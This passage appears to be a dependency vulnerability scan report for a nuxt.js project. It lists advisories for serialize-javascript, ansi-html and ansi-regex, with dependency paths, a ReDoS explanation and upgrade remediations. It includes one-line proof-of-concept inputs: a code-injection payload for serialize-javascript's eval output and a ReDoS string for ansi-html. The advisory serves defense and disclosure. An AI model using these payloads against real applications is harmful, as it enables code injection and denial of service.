if they controlled both foo
and bar
and were able to guess the value of <UID>
. UID is generated once on startup, is chosen using Math.random()
and has a keyspace of roughly 4 billion, so within the realm of an online attack.
PoC
eval('('+ serialize({"foo": /1" + console.log(1)/i, "bar": '"@__R-<UID>-0__@'}) + ')');
Remediation
Upgrade serialize-javascript
to version 3.1.0 or higher.
References
high severity
- Vulnerable module: ansi-html
- Introduced through: ansi-html@0.0.7
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › ansi-html@0.0.7Remediation: Upgrade to ansi-html@0.0.9.
Overview
ansi-html is an An elegant lib that converts the chalked (ANSI) text to HTML.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, it will get stuck processing the input for an extremely long time.
PoC
require('ansi-html')('x1b[0mx1b[' + '0'.repeat(35))
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ansi-html
to version 0.0.9 or higher.
References
high severity
- Vulnerable module: ansi-regex
- Introduced through: friendly-errors-webpack-plugin@1.7.0, opencollective@1.0.3 and others
Detailed paths
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › friendly-errors-webpack-plugin@1.7.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › opencollective@1.0.3 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › progress-bar-webpack-plugin@1.12.1 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue-server-renderer@2.3.4 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › friendly-errors-webpack-plugin@1.7.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › opencollective@1.0.3 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › progress-bar-webpack-plugin@1.12.1 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue-server-renderer@2.3.4 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › opencollective@1.0.3 › inquirer@3.0.6 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@2.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue-loader@12.2.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to vue-loader@15.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › opencollective@1.0.3 › inquirer@3.0.6 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@2.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › vue-loader@12.2.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to vue-loader@15.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › opencollective@1.0.3 › inquirer@3.0.6 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › html-webpack-plugin@2.30.1 › pretty-error@2.1.2 › renderkid@2.0.7 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to html-webpack-plugin@5.5.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › yargs@6.6.0 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to webpack@3.4.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › yargs@6.6.0 › cliui@3.2.0 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to webpack@4.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › yargs@6.6.0 › cliui@3.2.0 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to webpack@4.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › webpack@2.7.0 › yargs@6.6.0 › cliui@3.2.0 › wrap-ansi@2.1.0 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to webpack@4.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › autoprefixer@6.7.7 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-calc@5.3.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-colormin@2.2.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-convert-values@2.6.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-comments@2.0.4 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-duplicates@2.1.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-empty@2.1.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-overridden@0.1.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-discard-unused@2.2.3 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-filter-plugins@2.0.3 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-idents@2.1.7 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-longhand@2.0.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-font-values@1.0.5 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-gradients@1.0.5 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-params@1.2.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-charset@1.1.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-normalize-url@3.0.8 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-ordered-values@2.2.3 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-idents@2.4.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-initial@1.0.1 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-reduce-transforms@1.0.4 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-svgo@2.1.6 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-unique-selectors@2.0.2 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nuxt@nuxt/nuxt.js#3acf3004164a6072c209e79b24341d20973c8dab › css-loader@0.28.11 › cssnano@3.10.0 › postcss-zindex@2.2.0 › postcss@5.2.18 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1Remediation: Upgrade to css-loader@1.0.0.
-
